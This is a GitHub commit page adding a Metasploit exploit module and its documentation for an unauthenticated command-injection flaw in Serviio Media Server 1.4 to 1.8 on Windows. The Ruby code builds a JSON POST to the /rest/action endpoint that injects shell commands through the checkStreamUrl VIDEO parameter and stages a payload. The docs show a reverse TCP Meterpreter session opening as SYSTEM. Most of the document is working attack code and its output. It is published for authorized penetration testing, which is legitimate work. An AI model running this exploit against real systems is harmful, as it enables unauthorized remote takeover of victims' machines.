Skip to content

Commit 77a9676

Browse files
committed
Land rapid7#8347, Add Serviio Media Server checkStreamUrl Command Execution
2 parents 729f2a9 + 42c7d64 commit 77a9676

File tree

2 files changed

+170
-0
lines changed

2 files changed

+170
-0
lines changed
Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
## Description
2+
3+
This module exploits an unauthenticated remote command execution vulnerability in the console component of [Serviio Media Server](http://serviio.org/) versions 1.4 to 1.8 on Windows operating systems.
4+
5+
The console service (on port 23423 by default) exposes a REST API which which does not require authentication.
6+
7+
The 'action' API endpoint does not sufficiently sanitize user-supplied data in the 'VIDEO' parameter of the 'checkStreamUrl' method. This parameter is used in a call to cmd.exe resulting in execution of arbitrary commands.
8+
9+
## Vulnerable Application
10+
11+
Serviio is a free media server. It allows you to stream your media files (music, video or images) to renderer devices (e.g. a TV set, Bluray player, games console or mobile phone) on your connected home network.
12+
13+
Serviio is based on Java technology and therefore runs on most platforms, including Windows, Mac and Linux (incl. embedded systems, e.g. NAS).
14+
15+
This module has been tested successfully on Serviio Media Server versions 1.4.0, 1.5.0, 1.6.0 and 1.8.0 on Windows 7.
16+
17+
Installers:
18+
19+
* [serviio-1.8-win-setup.exe](http://download.serviio.org/releases/serviio-1.8-win-setup.exe)
20+
* [serviio-1.7-win-setup.exe](http://download.serviio.org/releases/serviio-1.7-win-setup.exe)
21+
* [serviio-1.6-win-setup.exe](http://download.serviio.org/releases/serviio-1.6-win-setup.exe)
22+
* [serviio-1.5-win-setup.exe](http://download.serviio.org/releases/serviio-1.5-win-setup.exe)
23+
* [serviio-1.4-win-setup.exe](http://download.serviio.org/releases/serviio-1.4-win-setup.exe)
24+
25+
## Verification Steps
26+
27+
1. Start `msfconsole`
28+
2. Do: `use exploit/windows/http/serviio_checkstreamurl_cmd_exec`
29+
3. Do: `set rhost [IP]`
30+
4. Do: `run`
31+
5. You should get a session
32+
33+
## Sample Output
34+
35+
```
36+
msf > use exploit/windows/http/serviio_checkstreamurl_cmd_exec
37+
msf exploit(serviio_checkstreamurl_cmd_exec) > set rhost 172.16.191.166
38+
rhost => 172.16.191.166
39+
msf exploit(serviio_checkstreamurl_cmd_exec) > check
40+
[*] 172.16.191.166:23423 The target appears to be vulnerable.
41+
msf exploit(serviio_checkstreamurl_cmd_exec) > set verbose true
42+
verbose => true
43+
msf exploit(serviio_checkstreamurl_cmd_exec) > check
44+
45+
[*] 172.16.191.166:23423 Serviio Media Server version 1.8
46+
[*] 172.16.191.166:23423 The target appears to be vulnerable.
47+
msf exploit(serviio_checkstreamurl_cmd_exec) > run
48+
49+
[*] Started reverse TCP handler on 172.16.191.181:4444
50+
[*] Serviio Media Server version 1.8
51+
[*] Command Stager progress - 7.95% done (7999/100636 bytes)
52+
[*] Command Stager progress - 15.90% done (15998/100636 bytes)
53+
[*] Command Stager progress - 23.85% done (23997/100636 bytes)
54+
[*] Command Stager progress - 31.79% done (31996/100636 bytes)
55+
[*] Command Stager progress - 39.74% done (39995/100636 bytes)
56+
[*] Command Stager progress - 47.69% done (47994/100636 bytes)
57+
[*] Command Stager progress - 55.64% done (55993/100636 bytes)
58+
[*] Command Stager progress - 63.59% done (63992/100636 bytes)
59+
[*] Command Stager progress - 71.54% done (71991/100636 bytes)
60+
[*] Command Stager progress - 79.48% done (79990/100636 bytes)
61+
[*] Command Stager progress - 87.43% done (87989/100636 bytes)
62+
[*] Command Stager progress - 95.38% done (95988/100636 bytes)
63+
[*] Sending stage (957487 bytes) to 172.16.191.166
64+
[*] Command Stager progress - 100.00% done (100636/100636 bytes)
65+
[*] Meterpreter session 1 opened (172.16.191.181:4444 -> 172.16.191.166:58474) at 2017-05-05 02:49:39 -0400
66+
67+
meterpreter > getuid
68+
Server username: NT AUTHORITY\SYSTEM
69+
meterpreter > pwd
70+
C:\Program Files\Serviio\bin
71+
```
Lines changed: 99 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,99 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
HttpFingerprint = { :pattern => [ /Restlet-Framework/ ] }
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::CmdStager
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Serviio Media Server checkStreamUrl Command Execution',
17+
'Description' => %q{
18+
This module exploits an unauthenticated remote command execution vulnerability
19+
in the console component of Serviio Media Server versions 1.4 to 1.8 on
20+
Windows operating systems.
21+
22+
The console service (on port 23423 by default) exposes a REST API which
23+
which does not require authentication.
24+
25+
The 'action' API endpoint does not sufficiently sanitize user-supplied data
26+
in the 'VIDEO' parameter of the 'checkStreamUrl' method. This parameter is
27+
used in a call to cmd.exe resulting in execution of arbitrary commands.
28+
29+
This module has been tested successfully on Serviio Media Server versions
30+
1.4.0, 1.5.0, 1.6.0 and 1.8.0 on Windows 7.
31+
},
32+
'License' => MSF_LICENSE,
33+
'Author' =>
34+
[
35+
'Gjoko Krstic(LiquidWorm) <gjoko[at]zeroscience.mk>', # Discovery and exploit
36+
'Brendan Coles <bcoles[at]gmail.com>', # Metasploit
37+
],
38+
'References' =>
39+
[
40+
['OSVDB', '41961'],
41+
['PACKETSTORM', '142387'],
42+
['URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5408.php'],
43+
['URL', 'https://blogs.securiteam.com/index.php/archives/3094']
44+
],
45+
'Platform' => 'win',
46+
'Targets' =>
47+
[
48+
['Automatic Targeting', { 'auto' => true }]
49+
],
50+
'Privileged' => true,
51+
'DisclosureDate' => 'May 3 2017',
52+
'DefaultTarget' => 0))
53+
register_options([ Opt::RPORT(23423) ])
54+
end
55+
56+
def check
57+
res = execute_command('')
58+
59+
unless res
60+
vprint_status 'Connection failed'
61+
return CheckCode::Unknown
62+
end
63+
64+
if res.headers['Server'] !~ /Serviio/
65+
vprint_status 'Target is not a Serviio Media Server'
66+
return CheckCode::Safe
67+
end
68+
69+
if res.headers['Server'] !~ /Windows/
70+
vprint_status 'Target operating system is not vulnerable'
71+
return CheckCode::Safe
72+
end
73+
74+
if res.code != 200 || res.body !~ %r{<errorCode>603</errorCode>}
75+
vprint_status 'Unexpected reply'
76+
return CheckCode::Safe
77+
end
78+
79+
if res.headers['Server'] =~ %r{Serviio/(1\.[4-8])}
80+
vprint_status "#{peer} Serviio Media Server version #{$1}"
81+
return CheckCode::Appears
82+
end
83+
84+
CheckCode::Safe
85+
end
86+
87+
def execute_command(cmd, opts = {})
88+
data = { 'name' => 'checkStreamUrl', 'parameter' => ['VIDEO', "\" &#{cmd}&"] }
89+
send_request_cgi('uri' => normalize_uri(target_uri.path, 'rest', 'action'),
90+
'method' => 'POST',
91+
'ctype' => 'application/json',
92+
'data' => data.to_json)
93+
end
94+
95+
def exploit
96+
fail_with(Failure::NotVulnerable, 'Target is not vulnerable') unless check == CheckCode::Appears
97+
execute_cmdstager(:temp => '.', :linemax => 8000)
98+
end
99+
end

0 commit comments

Comments
 (0)